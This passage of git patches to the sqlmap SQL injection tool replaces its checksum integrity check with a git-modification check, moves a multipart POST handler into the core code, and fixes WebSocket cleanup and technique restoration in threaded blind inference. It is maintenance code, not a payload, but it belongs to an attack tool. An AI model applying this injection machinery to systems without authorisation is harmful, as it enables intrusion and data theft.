-c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999 thirdparty/chardet/langbulgarianmodel.py -0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60 thirdparty/chardet/langgreekmodel.py -02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f thirdparty/chardet/langhebrewmodel.py -2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df thirdparty/chardet/langhungarianmodel.py -b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487 thirdparty/chardet/langrussianmodel.py -6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5 thirdparty/chardet/langthaimodel.py -8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a thirdparty/chardet/langturkishmodel.py -4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py -011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py -87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py -498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py -9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304 thirdparty/chardet/sbcharsetprober.py -86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557 thirdparty/chardet/sbcsgroupprober.py -208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py -0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab thirdparty/chardet/universaldetector.py -21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py -0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f thirdparty/chardet/version.py -1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py -4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34 thirdparty/colorama/ansi.py -d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c thirdparty/colorama/ansitowin32.py -fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5 thirdparty/colorama/initialise.py -c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf thirdparty/colorama/__init__.py -61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b thirdparty/colorama/win32.py -5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775 thirdparty/colorama/winterm.py -4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py -6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py -dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json -e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py -edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py -d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py -4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py -2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py -4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py -c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py -7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py -b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py -4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py -ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index b20e16309..971e794be 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `MultipartPost` library located under `thirdparty/multipart/`. - Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 300916ae3..e82f47c46 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 @@ -37,6 +35,3 @@ then fi git add "$SETTINGS_FULLPATH" fi - -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - -git add "$DIGEST_FULLPATH" diff --git a/lib/core/common.py b/lib/core/common.py index e4d0fce44..09d2d308c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1586,7 +1586,6 @@ def setPaths(rootPath): paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") @@ -5840,30 +5839,35 @@ def chunkSplitPostData(data): return "".join(retVal) -def checkSums(): +def isGitRepository(): """ - Validate the content of the digest file (i.e. sha256sums.txt) - >>> checkSums() + Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a + pip/tarball install) + """ + + return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")) + +def codeIsModified(): + """ + Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting + crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a + pip/tarball install is taken as shipped (returns False). A transient git error also yields False, + so a missing git binary never silences a legitimate report. + + >>> codeIsModified() in (True, False) True """ - retVal = True + retVal = False - if paths.get("DIGEST_FILE"): - for entry in getFileItems(paths.DIGEST_FILE): - match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) - if match: - expected, filename = match.groups() - filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) - if not checkFile(filepath, False): - continue - with open(filepath, "rb") as f: - content = f.read() - if b'\0' not in content: - content = content.replace(b"\r\n", b"\n") - if not hashlib.sha256(content).hexdigest() == expected: - retVal &= False - break + if isGitRepository(): + try: + process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process.communicate() + if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error) + retVal = True + except Exception: + pass return retVal diff --git a/lib/core/option.py b/lib/core/option.py index b67d7e062..2456428bd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -157,7 +157,7 @@ from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.multipart import multipartpost +from lib.request.multiparthandler import MultipartPostHandler from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -173,7 +173,7 @@ keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() -multipartPostHandler = multipartpost.MultipartPostHandler() +multipartPostHandler = MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 837bcc2d4..52904bb04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.31" +VERSION = "1.10.7.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/multiparthandler.py b/lib/request/multiparthandler.py new file mode 100644 index 000000000..d0a7980d2 --- /dev/null +++ b/lib/request/multiparthandler.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import io +import mimetypes +import re + +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes +from lib.core.exception import SqlmapDataException +from thirdparty.six.moves import urllib as _urllib + +# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence +DOSEQ = True + +class MultipartPostHandler(_urllib.request.BaseHandler): + """ + urllib handler that transparently encodes a dict request body as multipart/form-data when it carries + file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically + vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on + sqlmap's own helpers, so it now lives here as a first-class request handler. + """ + + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler + + def http_request(self, request): + data = request.data + + if isinstance(data, dict): + files, variables = [], [] + + try: + for key, value in data.items(): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): + files.append((key, value)) + else: + variables.append((key, value)) + except TypeError: + raise SqlmapDataException("not a valid non-string sequence or mapping object") + + if not files: + data = _urllib.parse.urlencode(variables, DOSEQ) + else: + boundary, data = self.multipartEncode(variables, files) + request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary) + + request.data = data + + # normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235) + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + + return request + + def multipartEncode(self, variables, files, boundary=None): + boundary = boundary or choose_boundary() + buffer_ = b"" + + for key, value in variables: + if key is not None and value is not None: + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n" + + for key, fd in files: + filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] + try: + contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream" + except Exception: + # Reference: http://bugs.python.org/issue9291 + contentType = b"application/octet-stream" + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType) + fd.seek(0) + buffer_ += b"\r\n%s\r\n" % fd.read() + + buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary) + + return boundary, getBytes(buffer_) + + https_request = http_request diff --git a/sqlmap.py b/sqlmap.py index 77a67d017..a2085c4c2 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -55,7 +55,7 @@ try: from lib.core.common import banner from lib.core.common import checkPipedInput - from lib.core.common import checkSums + from lib.core.common import codeIsModified from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -282,7 +282,7 @@ def main(): print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkSums() + valid = not codeIsModified() os._exitcode = 255 diff --git a/thirdparty/multipart/__init__.py b/thirdparty/multipart/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py deleted file mode 100644 index 2f2389807..000000000 --- a/thirdparty/multipart/multipartpost.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python - -""" -02/2006 Will Holcomb - -Reference: http://odin.himinbi.org/MultipartPostHandler.py - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import io -import mimetypes -import os -import re -import stat -import sys - -from lib.core.compat import choose_boundary -from lib.core.convert import getBytes -from lib.core.exception import SqlmapDataException -from thirdparty.six.moves import urllib as _urllib - -# Controls how sequences are uncoded. If true, elements may be given -# multiple values by assigning a sequence. -doseq = True - - -class MultipartPostHandler(_urllib.request.BaseHandler): - handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first - - def http_request(self, request): - data = request.data - - if isinstance(data, dict): - v_files = [] - v_vars = [] - - try: - for(key, value) in data.items(): - if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): - v_files.append((key, value)) - else: - v_vars.append((key, value)) - except TypeError: - systype, value, traceback = sys.exc_info() - raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) - - if len(v_files) == 0: - data = _urllib.parse.urlencode(v_vars, doseq) - else: - boundary, data = self.multipart_encode(v_vars, v_files) - contenttype = "multipart/form-data; boundary=%s" % boundary - #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0): - # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") - request.add_unredirected_header("Content-Type", contenttype) - - request.data = data - - # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 - if request.data: - for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): - part = match.group(0) - if b'\r' not in part: - request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) - - return request - - def multipart_encode(self, vars, files, boundary=None, buf=None): - if boundary is None: - boundary = choose_boundary() - - if buf is None: - buf = b"" - - for (key, value) in vars: - if key is not None and value is not None: - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) - buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" - - for (key, fd) in files: - file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] - filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] - try: - contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" - except: - # Reference: http://bugs.python.org/issue9291 - contenttype = b"application/octet-stream" - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) - buf += b"Content-Type: %s\r\n" % getBytes(contenttype) - # buf += b"Content-Length: %s\r\n" % file_size - fd.seek(0) - - buf += b"\r\n%s\r\n" % fd.read() - - buf += b"--%s--\r\n\r\n" % getBytes(boundary) - buf = getBytes(buf) - - return boundary, buf - - https_request = http_request From 788c9fa1349cf0aa94de4cfc0553d75511cd68ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 18:54:26 +0200 Subject: [PATCH 33/34] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 42 ++++++++++++++++++++++-------------------- 2 files changed, 23 insertions(+), 21 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 52904bb04..d95a6369f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.32" +VERSION = "1.10.7.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ce59eae0c..f3fc14ba9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -524,31 +524,33 @@ class Connect(object): if webSocket: ws = websocket.WebSocket() - ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) - wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) - ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically - ws.send(urldecode(post or "")) + try: + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) + wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) + ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) - _page = [] + _page = [] - if kb.webSocketRecvCount is None: - while True: - try: - _page.append(ws.recv()) - if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: - warnMsg = "too large websocket response detected. Automatically trimming it" - singleTimeWarnMessage(warnMsg) + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "too large websocket response detected. Automatically trimming it" + singleTimeWarnMessage(warnMsg) + break + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) break - except websocket.WebSocketTimeoutException: - kb.webSocketRecvCount = len(_page) - break - else: - for i in xrange(max(1, kb.webSocketRecvCount)): - _page.append(ws.recv()) + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + _page.append(ws.recv()) - page = "\n".join(_page) + page = "\n".join(_page) + finally: + ws.close() - ws.close() code = ws.status status = _http_client.responses.get(code, "") From 05f81ab1919384418fdcd8f40b8a158aa6e2e66a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 19:04:33 +0200 Subject: [PATCH 34/34] Fixing the CI/CD failure --- lib/core/settings.py | 2 +- lib/request/inject.py | 16 +++++++++++----- tests/test_databases_enum.py | 6 ++++-- 3 files changed, 16 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d95a6369f..bfef1ebda 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.33" +VERSION = "1.10.7.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 416ea21aa..731a47b0c 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -424,7 +424,10 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non indices = list(indices) - savedTechnique = getTechnique() + # Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim - + # getTechnique() would fall back to kb.technique, and a None result there used to skip the restore + # entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller. + savedTechnique = getCurrentThreadData().technique if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) @@ -433,8 +436,12 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non else: return None - initTechnique(getTechnique()) - payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + try: + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + except: + setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too + raise results = [None] * len(indices) cursor = iter(xrange(len(indices))) @@ -501,8 +508,7 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non kb.partRun = savedPartRun mainThreadData.disableStdOut = savedStdOut mainThreadData.shared = savedShared - if savedTechnique is not None: - setTechnique(savedTechnique) + setTechnique(savedTechnique) # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is # re-extracted serially via the classic getValue() path - full error handling, and a persistent error diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 13cc6a54a..e31360118 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -61,7 +61,7 @@ class _BaseEnumTest(unittest.TestCase): # conf keys every test may read/write _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") def setUp(self): self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} @@ -117,6 +117,7 @@ class _BaseEnumTest(unittest.TestCase): """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" conf.direct = False conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} @@ -533,7 +534,7 @@ class TestGetProcedures(_BaseEnumTest): class _DbBase(unittest.TestCase): _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") def setUp(self): self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} @@ -588,6 +589,7 @@ class _DbBase(unittest.TestCase): def _inference(self): conf.direct = False conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}}